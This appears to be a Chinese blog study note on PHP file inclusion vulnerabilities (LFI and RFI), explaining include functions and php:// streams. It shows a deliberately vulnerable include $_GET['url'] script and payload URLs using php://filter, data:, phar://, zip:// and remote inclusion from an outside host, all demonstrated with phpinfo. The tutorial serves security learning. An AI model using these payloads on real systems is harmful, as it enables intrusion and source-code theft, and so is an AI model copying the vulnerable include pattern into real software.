文件包含漏洞(include)-学习笔记

简介

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。

PHP Stream(流)

属性支持
受限于 allow_url_fopenNO
受限于allow_url_include仅 php://input、 php://stdin、 php://memory 和 php://temp。
允许读取仅 php://stdin、 php://input、 php://fd、 php://memory 和 php://temp。
允许写入仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp。
允许追加仅 php://stdout、 php://stderr、 php://output、 php://fd、 php://memory 和 php://temp(等于写入)
允许同时读写仅 php://fd、 php://memory 和 php://temp。
支持 stat()仅 php://memory 和 php://temp。
支持 unlink()No
支持 rename()No
支持 mkdir()No
支持 rmdir()No
仅仅支持 stream_select()php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。

PHP文件包含漏洞

分类

LFI(Local File Inclusion)

本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏
洞都是LFI。简单的测试用例如前所示。

RFI(Remote File Inclusion)

远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,
因此漏洞一旦存在危害性会很大。
但RFI的利用条件较为苛刻,需要php.ini中进行配置

allow_url_fopen = On
allow_url_include = On

两个配置选项均需要为On,才能远程包含文件成功。

php:// — 访问各个输入/输出流(I/O streams)
php中引发文件包含漏洞的通常是
以下四个函数:

  • include()
  • include_once()
  • require()
  • require_once()

举例

解析txt

include可以包含文件,如txt文本格式,并把包含的文件当作php代码解析执行。

test.php

<?php
include "1.txt";

1.txt:

<?php
phpinfo();

1

<?php
include $_GET['url'];

包含服务器文件

访问:http://xx/test.php?url=1.txt跟上面一样。
配置:

allow_url_fopen = On
allow_url_include = On

访问:http://test/test.php?url=http://www.baidu.com
test

包含本地文件

访问:http://test/test.php?url=file:///D:/test/1.txt
利用条件:php版本大于等于php5.3.0phar://

test.php?file=phar://test.zip/phpinfo.txtzip://	
test.php?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt

test
访问:http://test/test.php?url=http://v.f5.ink/i
http://v.f5.ink/i下载的文本内容为:

include # F5.ink
<?PHP
phpinfo();
?>

远程

发送post请求php://input

post

火狐浏览器插件hackbar:
https://addons.mozilla.org/en-US/firefox/addon/max-hackbar/?src=search

读取php代码:

php://filter/read=convert.base64-encode/resource=test.php
访问:http://test/test.php?url=php://filter/read=convert.base64-encode/resource=test.php
不受allow_url_include限制
base64解密:

echo "PD9waHANCmluY2x1ZGUgJF9HRVRbJ3VybCddOw0KPz4=" | base64 -d

data base64

http://test/test.php?url=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://test/test.php?url=data:text/plain,%3C?php%20phpinfo();?%3E

利用条件:php版本大于等于php5.2、allow_url_fopen = Onallow_url_include = On
1
图片也一样
http://tool.chinaz.com/tools/imgtobase/

参考

http://f5.ink:50001/index.php

  • 4
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小龙在山东

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值